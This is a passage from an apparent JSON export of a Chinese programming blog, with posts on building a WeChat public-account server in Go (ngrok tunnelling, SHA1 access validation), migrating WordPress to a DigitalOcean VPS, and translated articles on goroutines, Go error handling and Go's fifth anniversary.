EC2来应对微信公众平台接口开发，但其方便程度毕竟不如本地。网上一开源工具ngrok可以帮助我们实现本地调试微信公众平台接口。\n使用ngrok的步骤如下：\n1、下载ngrok\nngrok也是使用golang实现的，因此主流平台都支持。ngrok下载后就是一个可执行的二进制文件，可直接执行（放在PATH路径 下）。\n2、注册ngrok\n到ngrok.com上注册一个账号，注册成功后，就能看到ngrok.com为你分配的auth token，把这个auth token放到~/.ngrok中：\nauth_token:YOUR_AUTH_TOKEN\n3、执行ngrok\n$ngrok 80\nngrok (Ctrl+C to quit)\nTunnel Status online\nVersion 1.7/1.6\nForwarding http://xxxxxxxx.ngrok.com -\u0026gt; 127.0.0.1:80\nForwarding https://xxxxxxxx.ngrok.com -\u0026gt; 127.0.0.1:80\nWeb Interface 127.0.0.1:4040\n# Conn 1\nAvg Conn Time 1.90ms\n其中\u0026quot;xxxxxxxx.ngrok.com\u0026quot;就是ngrok为你分配的子域名。\n在你的微信开发者中心将这个地址配置到URL字段中，提交验证，验证消息就会顺着ngrok建立的隧道流到你的local机器的80端口上。\n另外本地调试抓包，要用loopback网口，比如：\n$sudo tcpdump -w http.cap -i lo0 tcp port 80\n本篇文章涉及的代码在这里可以找到。\n","permalink":"https://tonybai.com/2014/12/20/receive-text-for-wechat-public-platform-dev-in-golang/","summary":"\u003cp\u003e一旦\u003ca href=\"http://tonybai.com/2014/12/18/access-validation-for-wechat-public-platform-dev-in-golang/\"\u003e接入验证\u003c/a\u003e成功，成为正式开发者，你可能会迫不及待地想通过手机微信发送一条\u0026quot;Hello, Wechat”到你的公众号服务器。不过上一篇的那个程序还无法处理手机提交的文本消息，本篇将介绍如何用\u003ca href=\"http://tonybai.com/tag/golang\"\u003eGolang\u003c/a\u003e编写公众号程序来接收手机端发送的 文本消息以及回复响应消息。\u003c/p\u003e\n\u003cp\u003e根据\u003ca href=\"http://mp.weixin.qq.com/wiki/home/index.html\"\u003e微信公众平台开发文档\u003c/a\u003e中描述：“当普通微信用户向公众账号发消息时，微信服务器将POST消息的XML数据包到开发者填写的URL上”。我们 用一个示意图展示一下这个消息流程：\u003c/p\u003e","title":"使用Golang开发微信公众平台-接收文本消息"},{"content":"今年我涉猎的领域有些“广泛”，并且有那么一点“跳跃”：从上半年的终端（游戏）开发到下半年golang、docker以及目前将要提及的微信公众平台 接口开发，似乎有些远离了老本行C以及技术管理的内容。但在这个转型以及创新驱动的时代，这显然是顺势而为。寻求与新兴领域的主动接轨，在实打实的实践 中，扩大了自己的视野，并可以进一步甄别发现适合自己的领域。\n移动互联网时代，微信平台一枝独秀，是社交领域的巨人，但其诞生也才不到4年。微信平台的发展前景十分广阔，企鹅公司将其打造为人与人、人与物、物与物的统一、万能入口之雄心不变，因此围绕微信平台广大开发者依旧有诸多机会。\n微信公众平台接口应该算是微信平台首批对外开放的接口吧。公众平台相对成熟，但其业务模式依旧在演进和创新。公众平台接口的开发并非不难，上手几个月就可 以写成一本诸如“微信公众平台应用开发实践”的事情就发生在你我眼前，因此这里后续有关微信公众平台接口开发的文章也都是一些入门级的，我个人也是边学 习，边实践，边记录，边分享，就像上半年写Cocos2d-x文章那样。\n一、公众号申请（可选）\n本着“再小的个体，也有自己的品牌”的微信公众平台产品哲学，只要你是合法自然人类，你就可以到https://mp.weixin.qq.com/上申请一个公众号，一般对于个体而言，只能申请订阅号。\n对于具有开发能力的订阅号拥有者，你可以在订阅号的“开发者中心”，启用开发者账号。并且“一旦启用并设置服务器配置后，用户发给公众号的消息以及开发者需要的事件推送，将被微信转发到该URL中”。\n不过此时即便你填写相关信息并提交，你也不会通过验证。这正是本篇要告诉你的事情，如何写程序实现微信公众平台的接入验证，后续道来。\n二、测试号申请**（可选）**\n正式的订阅号申请有些繁琐，需要提交个人信息，需要审核，不会立即生效。并且未认证的订阅号所能使用的功能接口有限（只能使用普通消息接口），而认证又需 要一笔费用（现价300rmb/次）。对于学习者而言，也许真的没有必要。于是我们在学习开发的过程中可以申请测试号来替代真正的公众号。\n测试号是一种体验账号，有效期一年，具有各种功能接口体验权限。测试号可以在http://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login下申请，申请时有一个类似公众号开发者配置的页面需要你填写服务器配置。同样，你需要进行接入验证（后续道来）。\n一旦申请成功，可以用终端微信app扫一扫测试号的QR，关注微信平台测试号，用于后续平台接口开发测试。\n以上公众号和测试号二选一。\n三、公众号服务器\n为何需要公众号服务器，这就要谈及微信公众平台的架构了。\n很多人觉得微信公众平台的业务模式有些类似于若干年前火爆一时的短信增值业务模式-SP/CP模式：\n【终端用户】 \u0026lt;—-短信—\u0026gt; 【移动运营商移动增值业务网关】 \u0026lt;—-\u0026gt; 【SP/CP服务器】\n微信公众号时代，这个业务模式变成了：\n【终端用户】 \u0026lt;—-微信消息—\u0026gt; 【微信公众平台】 \u0026lt;—–\u0026gt; 【公众号服务器】\n短信变成了微信，SP/CP变成了公众号。微信公众平台将终端用户发给公众号的信息转发至公众号配置的公众号服务器URL，公众号服务器做业务处理后，将响应信息通过微信公众平台再发给终端用户。因此我们需要实现公众号业务逻辑的公众号服务器。\n本文标题里所说的“接入验证”，指的就是微信公众平台对公众号服务器提供服务的URL有效性的验证。我们在填写开发者中心的“接口配置信 息”并提交时，微信公众平台会向配置的公众号服务器的URL发送验证Request，只有公众号服务存在，且按要求返回包含特定信息的Response， 我们才能真正通过微信公众平台的验证，“接口配置信息”才真正生效。\n因此我们需要一台放在公网的主机。如果采用Golang开发公众号服务的话，这样的主机只能是独立的VPS，像国内新浪提供的app engine主机不能运行Golang，无法满足要求（当然如果你使用其他语言开发的话，比如PHP，那么可用的主机范围就很广泛了）。\n这里建议申请一个亚马逊免费EC2主机(t2.micro型，免费一年，学习够用)用作学习测试使用或者购买像Linode或DigitalOcean的VPS。关于如何申请亚马逊主机可以咨询谷歌和度娘，这里不赘述。\n注意：Amazon EC2实例默认采用的时动态IP，instance重启后IP会发生变化。因此可申请分配一个Elastic IP，并绑定在你的EC2实例上，目前绑定instance的Elastic IP是免费的，这个IP在instance重启后不会变更。当你EC2主机到期后，记得释放这个IP，否则就收费了。\n四、接入验证逻辑\n前面提到过，无论是公众号还是测试号，当你提交配置URL时会收到提交失败的信息，这是微信公众平台接入验证失败所致。在公众平台开发者文档中，关于URL验证逻辑如下：\n开发者提交信息(包括URL、Token)后，微信服务器将发送Http Get请求到填写的URL上，GET请求携带四个参数：signature、timestamp、nonce和echostr。公众号服务程序应该按如下要求进行接入验证：\n1. 将token、timestamp、nonce三个参数进行字典序排序\n2. 将三个参数字符串拼接成一个字符串进行sha1加密\n3. 将加密后获得的字符串与signature对比，如果一致，说明该请求来源于微信\n4. 如果请求来自于微信，则原样返回echostr参数内容\n以上完成后，接入验证就会生效，开发者配置提交就会成功。\n列出Http抓包分析后的文本，理解起来就更容易些:\n微信服务器发出的验证Request如下：\nGET /?signature=d01007dcff994c555bc51d22e154956ccdc61ec5\u0026amp;timestamp=1418970951\u0026amp;nonce=484765335\u0026amp;echostr=qwe1235 HTTP/1.0\\r\\n\nUser-Agent: Mozilla/4.0\\r\\n\nAccept: */*\\r\\n\nHost: wechat.tonybai.com\\r\\n\nPragma: no-cache\\r\\n\nContent-Length: 0\\r\\n\n应答返回如下：\nHTTP/1.0 200 OK\\r\\n\nDate: Fri, 19 Dec 2014 06:35:59 GMT\\r\\n\nContent-Length: nn\\r\\n\nContent-Type: text/plain; charset=utf-8\\r\\n\nqwe1235\n五、参考实现\n环境：AWS t2.micro ubuntu 14.04 x86_64 Server\ngo 1.4\nGo语言标准库提供了一个强大的http server，我们直接利用这个server来处理微信平台的Url验证请求。另外微信平台发给公众平台服务器的http request都是请求到\u0026quot;/\u0026ldquo;下的，这样我们的service无需设置太多http route。\n//urlvalidation.go\npackage main\nimport (\n\u0026ldquo;crypto/sha1\u0026rdquo;\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;io\u0026rdquo;\n\u0026ldquo;log\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n\u0026ldquo;sort\u0026rdquo;\n\u0026ldquo;strings\u0026rdquo;\n)\nconst (\ntoken = \u0026ldquo;wechat4go\u0026rdquo;\n)\nfunc makeSignature(timestamp, nonce string) string {\nsl := []string{token, timestamp, nonce}\nsort.Strings(sl)\ns := sha1.New()\nio.WriteString(s, strings.Join(sl, \u0026ldquo;\u0026rdquo;))\nreturn fmt.Sprintf(\u0026quot;%x\u0026rdquo;, s.Sum(nil))\n}\nfunc validateUrl(w http.ResponseWriter, r *http.Request) bool {\ntimestamp := strings.Join(r.Form[\u0026ldquo;timestamp\u0026rdquo;], \u0026ldquo;\u0026rdquo;)\nnonce := strings.Join(r.Form[\u0026ldquo;nonce\u0026rdquo;], \u0026ldquo;\u0026rdquo;)\nsignatureGen := makeSignature(timestamp, nonce)\nsignatureIn := strings.Join(r.Form[\u0026ldquo;signature\u0026rdquo;], \u0026ldquo;\u0026rdquo;)\nif signatureGen != signatureIn {\nreturn false\n}\nechostr := strings.Join(r.Form[\u0026ldquo;echostr\u0026rdquo;], \u0026ldquo;\u0026rdquo;)\nfmt.Fprintf(w, echostr)\nreturn true\n}\nfunc procRequest(w http.ResponseWriter, r *http.Request) {\nr.ParseForm()\nif !validateUrl(w, r) {\nlog.Println(\u0026ldquo;Wechat Service: this http request is not from Wechat platform!\u0026rdquo;)\nreturn\n}\nlog.Println(\u0026ldquo;Wechat Service: validateUrl Ok!\u0026rdquo;)\n}\nfunc main() {\nlog.Println(\u0026ldquo;Wechat Service: Start!\u0026rdquo;)\nhttp.HandleFunc(\u0026quot;/\u0026quot;, procRequest)\nerr := http.ListenAndServe(\u0026quot;:80\u0026quot;, nil)\nif err != nil {\nlog.Fatal(\u0026ldquo;Wechat Service: ListenAndServe failed, \u0026ldquo;, err)\n}\nlog.Println(\u0026ldquo;Wechat Service: Stop!\u0026rdquo;)\n}\n编译这个go源码，执行urlvalidation。\n$\u0026gt; urlvalidation\n2014/12/18 17:48:10 Wechat Service: Start!\n2014/12/18 17:48:10 Wechat Service: ListenAndServe failed, listen tcp :80: bind: permission denied\n程序提示没有权限绑定80端口。80端口只有管理员权限才能绑定，因此我们需要通过sudo方式执行validation。\n$ sudo ./urlvalidation\n2014/12/18 09:56:29 Wechat Service: Start!\n接下来我们回到订阅号开发者中心配置页面或测试号服务器配置页面，点击提交。在我们的公众号服务器后台可以看到如下日志：\n2014/12/18 09:56:52 Wechat Service: validateUrl Ok!\n同时你的提交也会显示成功，Url已经验证通过，你将正式成为开发者。\n如果我们随意构造一个http get 请求发给validate程序，比如：\ncurl -s http://wechat.tonybai.com（比如我的URL为http://wechat.tonybai.com）\n那么我们将看到validation输出如下错误日志：\n2014/12/18 10:02:07 Wechat Service: this http request is not from Wechat platform!\n以上源码文件在这里可以下载。\n处于安全考虑，后续订阅号平台均需要对收到的http request进行验证，以确保请求来源于微信公众平台。\n","permalink":"https://tonybai.com/2014/12/18/access-validation-for-wechat-public-platform-dev-in-golang/","summary":"\u003cp\u003e今年我涉猎的领域有些“广泛”，并且有那么一点“跳跃”：从上半年的终端（游戏）开发到下半年\u003ca href=\"http://tonybai.com/tag/go\"\u003egolang\u003c/a\u003e、\u003ca href=\"http://tonybai.com/tag/docker\"\u003edocker\u003c/a\u003e以及目前将要提及的\u003ca href=\"http://mp.weixin.qq.com/\"\u003e微信公众平台 接口\u003c/a\u003e开发，似乎有些远离了老本行C以及技术管理的内容。但在这个转型以及创新驱动的时代，这显然是顺势而为。寻求与新兴领域的主动接轨，在实打实的实践 中，扩大了自己的视野，并可以进一步甄别发现适合自己的领域。\u003c/p\u003e","title":"使用Golang开发微信公众平台-接入验证"},{"content":"自从2012年初将Blog从Blogbus搬出来放到同事代理的虚拟主机上后，Blog运行一直很稳定，我也算 是比较满意。但同事的主机代理生意这两年来每况愈下，这促使他在前些时候做出了在今年年末放弃这门生意的决定，于是我又不得不为Blog另找落脚儿地了。\n这次不想再单纯的买Wordpress虚拟主机了，一来功能有限，二来国外的入门级VPS价格已经与虚拟主机价格逐渐缩小，尤其是像 DigitalOcean这样的后起之秀，5$/mon的入门级配置VPS基本可以满足我的应用。于是DigitalOcean VPS就成为了我的购买目标。DigitalOcean这两年推广力度大，其Promo code的优惠有时可达20$以上，去年黑色星期五当天就给出了50$的优惠码。于是我期望着今天（2014黑色星期五）DigitalOcean的 50$优惠码能再现江湖。\n但事与愿违，当时间走入美国当地时间星期五后，网上哪些所谓50$的Promo code依旧无法正常使用。无奈只能退而求次，使用\u0026quot;SHIPITFAST10\u0026quot;这个10$的优惠码，对于入门级VPS来说，10$也够试用两个月的了。\nDigital Ocean VPS的注册和购买流程非常简单，按照官方提示一步一步做即可。这里要注意的是如果选择信用卡支付，务必一次填对信用卡信息，否则account就会短暂 无法使用，你需要fill out一个Form，提交给客服人工验证才能解除对你account的封锁。\n接下来就是稍详细的说明Wordpress blog迁移到Digital Ocean VPS的步骤了，希望能对大家有所帮助。\n一、备份WordPress Blog\n网上关于迁移WordPress的方法有许多方案，之前在测试将WordPress迁移到Docker容器中时，我采用的是数据表导出导入+WordPress程序覆盖的方式，这次我依旧采用此方法。\n现有的Blog用的是DirectAdmin的后台管理面板，支持全站备份，备份后的文件为：backup-Nov-27-2014-1.tar.gz。这个压缩包中有两个重要的组件（解压后你就可以看到）：\n– backup/tonybai_db.sql\n– domains/tonybai.com/public_html/\n我们要迁移的就是这两个组件。第一个.sql文件就是我们导出的数据库表，需要导入到新主机中的新库中。而第二个则是Wordpress安装后的文件集合，用于直接覆盖目标主机上对应的Wordpress文件包的。\n二、创建Digital Ocean VPS Droplet\n在填写完信用卡，利用优惠码充值账户成功后，就可以创建Droplet了。Droplet是DO的术语，理解成一个VPS实例即可。Droplet的创建 体验不错，DO已经准备好了各种VPS常用的应用组合以及OS供选择。我选择了5$/mon的Ubuntu 14.04 x64 + WordPress的组合，机房选择San Francisco 1。确认后，DO会开始创建Droplet操作，不到1分钟，Droplet就创建完毕了。如果不用ssh key，则VPS的root密码会发到你的注册邮箱中。有了root和密码，我们就可以通过\u0026quot;ssh root@YOUR_VPS_IP\u0026quot;访问你的VPS了。\n首次后台登陆VPS，VPS会强制你修改root登陆密码。\n三、初始安装WordPress\n现在我们的VPS上已经安装好了WordPress运行所需要的所有软件了，包括apache2、mysql等。修改/etc/hosts，将自己的域名tonybai.com映射为VPS IP。\n访问tonybai.com，WordPress的自安装程序启动，按照提示一步一步即可安装好Wordpress，这里带的Wordpress是4.0.0版本（注意：我们后续是要覆盖掉这个 WordPress的）。\n安装好后，再访问tonybai.com就可以看到默认安装后的一篇example blog了。\n现在我们进入tonybai.com/wp-admin页面，Apache弹出一个登陆框，在DO官方文档提到过，/wp-admin初始情况使用了 apache的.htaccess credential保护机制了，我们需要输入用户名密码才能进入wp-admin页面。这个用户名密码就在/root/WORDPRESS里。\n四、导表\n接下来，我们先将backup/tonybai_db.sql导入mysql数据库。\nmysql的数据库访问密码在/root/.my.cnf中，用户名是root。\n管理mysql我们更多使用phpmyadmin工具，于是通过apt-get install phpmyadmin -y安装一个。\n为了通过Web页面访问到phpmyadmin，我们还需执行以下两个步骤：\n在/etc/apache2/apache2.conf尾部添加一行：\nInclude /etc/phpmyadmin/apache.conf\n重启apache2：service apache2 restart\n之后通过tonybai.com/phpmyadmin访问phpmyadmin工具。登录时使用mysql的root和密码即可。\n进入phpmyadmin后，我们可以看到前面的Wordpress安装过程在mysql中建立了名为wordpress的数据库以及名为 wordpress的数据库用户。但我之前的blog使用的数据库用户和数据库并非wordpress，而是tonybai_user和tonybaidb，于是我们需要自己创建 tonybaidb数据库以及tonybai_user这个数据库账号。\n创建tonybaidb时，注意使用utf8_general_ci字符集。\n创建tonybai_user数据库账户时，注意其权限仅局限于localhost发起的访问以及tonybaidb这个数据库，其密码设置为原blog wp-config.php中的数据库密码。\n由于phpmyadmin导入的文件不能超过2M，因此我们只能通过后台导表：\nmysql -u root -p\nmysql\u0026gt; use tonybai_db\ndatabase changed\nmysql\u0026gt; source ./tonybai_db.sql\n五、替换Wordpress安装文件\n默认下wordpress安装到了/var/www下。我们需要将domains/tonybai.com/public_html替换掉/var/www目录：\ncd /var\nmv www www.bak\n将domain/tonybai.com/public_html cp到/var/下，改名为www\nchown -R www-data www\nchgrp -R www-data www\n剩下的就是访问tonybai.com即可。\n是不是熟悉的页面和风格又展现在你眼前了！\n六、创建SnapShot\nDO提供两种备份方式Snapshot和Backups，其中Snapshot目前还是免费的，但backup服务是要付费的。Snapshot创建的前提是先stop这个Droplet。建议导入blog、访问正常后，马上建立一个Droplet的Snapshot。\n七、其它\n由于是入门型VPS，其内存仅有512M，并且默认情况下Ubuntu 14.04 VPS没有创建Swap，考虑到VPS的高可用性，我们还是需要自己动手创建一些swap空间，以供不时之需，创建步骤很简单，执行下面命令即可：\nfallocate -l 512M /swapfile\nmkswap /swapfile\nswapon /swapfile\nswapon -s 查看一下当前swap，可以看到：\nFilename Type Size Used Priority\n/swapfile file 524284 0 -1\n另外调试过程中发现访问tonybai.com/feed出现如下错误：\nForbidden：\nYou don\u0026rsquo;t have permission to access /feed/ on this server.\nGoogle、Baidu许久才发现真正问题所在：我的旧Blog目录下有一个feed子目录，把这个目录删除即可。\n","permalink":"https://tonybai.com/2014/11/28/migrate-blog-to-digitalocean-vps/","summary":"\u003cp\u003e自从2012年初将Blog\u003ca href=\"http://tonybai.com/2012/02/29/a-new-departure-%20of-my-blog-move-from-blogbus-to-wordpress/\"\u003e从Blogbus搬出来\u003c/a\u003e放到同事代理的虚拟主机上后，Blog运行一直很稳定，我也算 是比较满意。但同事的主机代理生意这两年来每况愈下，这促使他在前些时候做出了在今年年末放弃这门生意的决定，于是我又不得不为Blog另找落脚儿地了。\u003c/p\u003e","title":"将Blog迁移到DigitalOcean的VPS上"},{"content":"在golangweekly的第36期Go Newsletter中我发现一篇短文\u0026ldquo;How Goroutines Work\u0026rdquo; ，其作者在参考了诸多资料后，简短概要地总结了一下 Goroutine的工作原理，感觉十分适合刚入门的Gophers（深入理解Goroutine调度的话，可以参考Daniel Morsing的\u0026quot; The Go scheduler\u0026quot; )。这里粗译如下。\n一、Go语言简介\n如果你是Go语言新手，或如果你对\u0026quot;并发(Concurrency)不是并行(parallelism)\u0026ldquo;这句话毫无赶脚，那么请看一下Rob Pike大神关于这个主题的演讲吧，演讲共30分 钟，我敢保证你在这个演讲上花费30分钟是绝对值得的。\n总结一下两者（Concurrency和Parallelism）的不同：\u0026ldquo;当人们听到并发（Concurrency)这个词时，总是会想起并行 （Parallelism），它们之间有相关性，但却是两个明显不同的概念。在编程领域，并发（Concurrency）是独立的执行过程 (Process)的组合，而并行（Parallelism)则是计算（可能是相关联的）的同时执行。并发（Concurrency)是关于同时 应对很多事情(deal with lots of things)，而并行（Parallelism)则是同时做许多事情(do lots of things)\u0026quot;。(Rob Pike的“Concurrency is not parallelism\u0026rdquo;)\nGo语言支持我们编写并发(Concurrent)的程序。它提供了Goroutine以及更重要的在Goroutines之间通信的能力。这里 我们将聚焦在前者（译注：指并发）。\n二、Goroutines和Thread****s\nGoroutine是一个简单的模型：它是一个函数，与其他Goroutines并发执行且共享相同地址空间。Goroutines的通常用法是根据需要创建尽可 能的Groutines，成百上千甚至上万的。这种用法对于那些习惯了使用C++或Java的程序员来讲可能会有些奇怪。创建这么多 goroutines势必要付出不菲的代价？一个操作系统线程使用固定大小的内存作为它的执行栈，当线程数增多时，线程间切换的代价也是相当的 高。这也是每处理一个request就创建一个新线程的服务程序方案被诟病的原因。\n不过Goroutine完全不同。它们由Go运行时初始化并调度，操作系统根本看不到Goroutine的存在。所有的goroutines都是 活着的，并且以多路复用的形式运行于操作系统为应用程序分配的少数几个线程上。创建一个Goroutine并不需要太多内存，只需要8K的栈空间 （在Go 1.3中这个Size发生了变化）。它们根据需要在堆上分配和释放内存以实现自身的增长。\nGo运行时负责调度Goroutines。Goroutines的调度是协作式的，而线程不是。这意味着每次一个线程发生切换，你都需要保存/恢 复所有寄存器，包括16个通用寄存器、PC(程序计数器）、SP（栈指针）、段寄存器(segment register)、16个XMM寄存器、FP协处理器状态、X AVX寄存器以及所有MSR等。而当另一个Goroutine被调度时，只需要保存/恢复三个寄存器，分别是PC、SP和DX。Go调度器和任何现代操作 系统的调度器都是O(1)复杂度的，这意味着增加线程/goroutines的数量不会增加切换时间，但改变寄存器的代价是不可忽视的。\n由于Goroutines的调度是协作式的，一个持续循环的goroutine会导致运行于同一线程上的其他goroutines“饿死”。在 Go 1.2中，这个问题或多或少可以通过在进入函数前间或地调用Go调度器来缓解一些，因此一个包含非内联函数调用的循环是可以被调度器抢占的。\n三、Goroutine阻塞\n只要阻塞存在，它在OS线程中就是不受欢迎的，因为你拥有的线程数量很少。如果你发现大量线程阻塞在网络操作或是Sleep操作上，那就是问题， 需要修正。正如前面提到的那样，Goroutine是廉价的。更关键地是，如果它们在网络输入操作、Sleep操作、Channel操作或 sync包的原语操作上阻塞了，也不会导致承载其多路复用的线程阻塞。如果一个goroutine在上述某个操作上阻塞，Go运行时会调度另外一 个goroutine。即使成千上万的Goroutine被创建了出来，如果它们阻塞在上述的某个操作上，也不会浪费系统资源。从操作系统的视角来看，你的程序的行为就像是一个事件驱动的C程序似的。\n四、最后的想法\n就是这样，Goroutines可以并发的运行。不过和其他语言一样，组织两个或更多goroutine同时访问共享资源是很重要的。最好采用Channel在不同Goroutine间传递数据。\n最后，虽然你无法直接控制Go运行时创建的线程的数量，但可以通过调用runtime.GOMAXPROCS(n)方法设置变量GOMAXPROCS来设 定使用的处理器核的数量。提高使用的处理器核数未必能提升你的程序的性能，这取决于程序的设计。程序剖析诊断工具(profiling tool)可以用来检查你的程序使用处理器核数的真实情况。\n","permalink":"https://tonybai.com/2014/11/15/how-goroutines-work/","summary":"\u003cp\u003e在\u003ca href=\"http://www.golangweekly.com/\"\u003egolangweekly\u003c/a\u003e的第36期\u003ca href=\"http://www.golangweekly.com/archive/go-newsletter-issue-36/\"\u003eGo Newsletter\u003c/a\u003e中我发现一篇短文\u003ca href=\"http://blog.nindalf.com/how-goroutines-work/\"\u003e\u0026ldquo;How Goroutines Work\u0026rdquo;\u003c/a\u003e ，其作者在参考了诸多资料后，简短概要地总结了一下 Goroutine的工作原理，感觉十分适合刚入门的Gophers（深入理解Goroutine调度的话，可以参考Daniel Morsing的\u0026quot; \u003ca href=\"http://morsmachine.dk/go-scheduler\"\u003eThe Go scheduler\u003c/a\u003e\u0026quot; )。这里粗译如下。\u003c/p\u003e","title":"Goroutine是如何工作的"},{"content":"中午闲暇翻看Daniel Morsing的“The Go scheduler”时，发现其另外一篇短文“Effective error handling in Go”，文章不长，但感觉对Go中错误处理方法总结的还是比较到位的，这里译之供大家参考。\n一、简介\nGo语言受到诟病最多的一项就是其错误处理机制。如果显式地检查和处理每个error，这恐怕的确会让人望而却步。你可以试试这里列出的几个方法，以避免你走入错误处理方法的误区当中去。\n**二、**在缩进区处理错误\n当使用Go语言编写代码时，首选下面这样的错误处理方法：\nf, err := os.Open(path)\nif err != nil {\n// handle error\n}\n// do stuff\n而不是下面这样的：\nf, err := os.Open(path)\nif err == nil {\n// do stuff\n}\n// handle error\n按照上面的方法处理错误，处理正常情况的代码读起来就显得通篇连贯了。\n三、定义你自己的error****s\n做好如何正确进行错误处理的第一步就是要了解error是什么。如果你设计实现的包会因某种原因发生某种错误，你的包用户将会对错误的原因很感兴趣。为了满足用户的需求，你需要实现error接口，简单做起来就像这样：\ntype Error string\nfunc (e Error) Error() string { return string(e) }\n现在，你的包用户通过执行一个type assertion就可以知道是否是你的包导致了这个错误：\nresult, err := yourpackage.Foo()\nif ype, ok := err.(yourpackage.Error); ok {\n// use ype to handle error\n}\n通过这个方法，你还可以向你的包用户暴露更多地结构化错误信息：\ntype ParseError struct {\nFile *File\nError string\n}\nfunc (oe *ParseError) Error() string {//译注：原文中这里是OpenError\n// format error string here\n}\nfunc ParseFiles(files []*File) error {\nfor _, f := range files {\nerr := f.parse()\nif err != nil {\nreturn \u0026amp;ParseError{ //译注：原文中这里是OpenError\nFile: f,\nError: err.Error(),\n}\n}\n}\n}\n通过这种方法，你的用户就可以明确地知道到底哪个文件出现解析错误了。（译注：从这里看到的go语言error设计之内涵，让我想起了Rob Pike大神的一篇Blog：\u0026quot;少即是级数级的多\u0026quot;）\n不过包装error时要小心，当你将一个error包装起来后，你可能会丢失一些信息：\nvar c net.Conn\nf, err := DownloadFile(c, path)\nswitch e := err.(type) {\ndefault:\n// this will get executed if err == nil\ncase net.Error:\n// close connection, not valid anymore\nc.Close()\nreturn e\ncase error:\n// if err is non-nil\nreturn err\n}\n// do other things.\n如果你包装了net.Error，上面这段代码将无法知道是由于网络问题导致的失败，会继续使用这条无效的链接。\n有一条经验规则：如果你的包中使用了一个外部interface，那么不要对这个接口中方法返回的任何错误，使用你的包的用户可能更关心这些错误，而不是你包装后的错误。\n四、将错误作为状态\n有时，当遇到一个错误时，你可能会停下来等等。这或是因为你将延迟报告错误，又或是因为你知道如果这次报告后，后续你会再报告同样的错误。\n第一种情况的一个例子就是bufio包。当一个bufio.Reader遇到一个错误时，它将停下来保持这个状态，直到buffer已经被清空。只有在那时它才会报告错误。\n第二种情况的一个例子是go/loader。当你通过某些参数调用它导致错误时，它会停下来保持这个状态，因为它知道你很可能会使用同样地参数再次调用它。\n五、使用函数以避免重复****代码\n如果你有两段重复的错误处理代码，你可以将它们放到一个函数中去：\nfunc handleError(c net.Conn, err error) {\n// repeated error handling\n}\nfunc DoStuff(c net.Conn) error {\nf, err := downloadFile(c, path)\nif err != nil {\nhandleError(c, err)\nreturn err\n}\nf, err := doOtherThing(c)\nif err != nil {\nhandleError(c, err)\nreturn err\n}\n}\n优化后的实现方法如下：\nfunc handleError(c net.Conn, err error) {\nif err == nil {\nreturn\n}\n// repeated error handling\n}\nfunc DoStuff(c net.Conn) error {\ndefer func() { handleError(c, err) }()\nf, err := downloadFile(c, path)\nif err != nil {\nreturn err\n}\nf, err := doOtherThing(c)\nif err != nil {\nreturn err\n}\n}\n这就是全部了。就Go语言错误处理而言，我知道的就这么多了。\n","permalink":"https://tonybai.com/2014/11/14/effective-error-handling-in-go/","summary":"\u003cp\u003e中午闲暇翻看\u003ca href=\"http://morsmachine.dk/\"\u003eDaniel Morsing\u003c/a\u003e的“\u003ca href=\"http://morsmachine.dk/go-scheduler\"\u003eThe Go scheduler\u003c/a\u003e”时，发现其另外一篇短文“\u003ca href=\"http://morsmachine.dk/error-handling\"\u003eEffective error handling in Go\u003c/a\u003e”，文章不长，但感觉对\u003ca href=\"http://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e中错误处理方法总结的还是比较到位的，这里译之供大家参考。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e一、简介\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eGo语言受到诟病最多的一项就是其错误处理机制。如果显式地检查和处理每个error，这恐怕的确会让人望而却步。你可以试试这里列出的几个方法，以避免你走入错误处理方法的误区当中去。\u003c/p\u003e","title":"Go语言的有效错误处理"},{"content":"2014年11月10日（美国当地时间），Golang的官方博客 放出了Andrew Gerrand的一篇博文《Half a decade with Go》来纪念Go语言发布五周年。文章按时间顺序简要描述了Golang这五年来发展的 点点滴滴，并让全世界Gopher看到了Go可期的光明未来。考虑到这篇文章在墙外，不便于国内Gopher阅读，这里给出中文翻译版，希望能给中国大陆 的Gophers带来些帮助！\n五年前，我们启动了Go语言项目。我们准备发布第一版时的一幕仿佛就发生在昨天似的：我们的官方站点用的是一种可爱的黄色色调，我们将Go语言称为一门 “系统编程语言”，你需要使用分号作为语句结束标志，使用Makefile来构建你的代码。我们不知道Go语言是否能被大家接受。人们会分享我们的目标和 愿景吗？人们会发现Go语言有用吗？\n起初，我们的发布引起了一阵关注。Google发布了一门新的编程语言，每个人都渴望探究它一番。一些程序员因为Go相对保守的功能特性集合而选择了放 弃，Go给他们的第一印象就是：没有什么新鲜玩意儿！但另外一小群程序员则看到了这个为软件工程师量身定做的生态系统的开端。这少数人将组成Go语言社区 的核心。\n第一版发布后，我们花了些时间向社区传达Go语言背后的目标和设计理念。Rob Pike在官方的《Go at Google: Language Design in the Service of Software Engineering》一文中对此进行了生动地表达，并 在其个人博客文章《Less is exponentially more》中做了进一步的阐述。Andrew Gerrand的《Code that grows with grace》(Slides在这里)和《Go for Gophers》(Slides在这里)对Go的设计哲学又给出了更有深度和技术性的说明。\n随着时间的推移，积少成多。这个项目的转折点出现在2012年3月Go 1发布时。Go 1为程序员们提供了可以信赖的稳定的语言和标准库。到2014年，Go项目拥有了上百的核心贡献者，其生态圈中拥有了数不尽的第三方库和工具 ，并由成千上万的开发者维护着。正在发展壮大的社区拥有许多极具热情的成员（或者就如我们所称呼 的：Gophers）。今天，就我们目前的统计分析，Go社区的成长速度远远超出了我们的预期。\nGophers们在哪里可以得到这些呢？全世界目前有很多有关Go语言的“大事”发生。今年我们看到了几个专门的Go技术大会：在丹佛和巴黎举行的首次 GopherCon和dotGo大 会。FOSDEM的Go DevRoom以及在东京举行的一年两次的GoCon。每次会上来自全球各地的Gophers们都踊跃地展示他们开发的Go项目。对于Go语言开发组来 说，我们很高兴能满足这些分享我们愿景和兴奋的程序员的需求。\n在世界各地，还有数十个社区驱动运行的“Go用户组”。如果你还没有造访过你当地的用户组，可以考虑去尝试一下。如果你当地尚没有这类用户组，也许你可以考虑发起一个？\n今天，Go在云端找到了用武之地。Go出现在了工业向云计算转型的时刻。并且我们兴奋地看到Go正在快速成为这个运动的一个重要组成部分。简单、高效、内 置并发原语和现代的标准库让Go语言尤其适合云端软件开发（毕竟它就是为此而设计的）。一些重量级的开源云项目，诸如Docker和Kubernetes 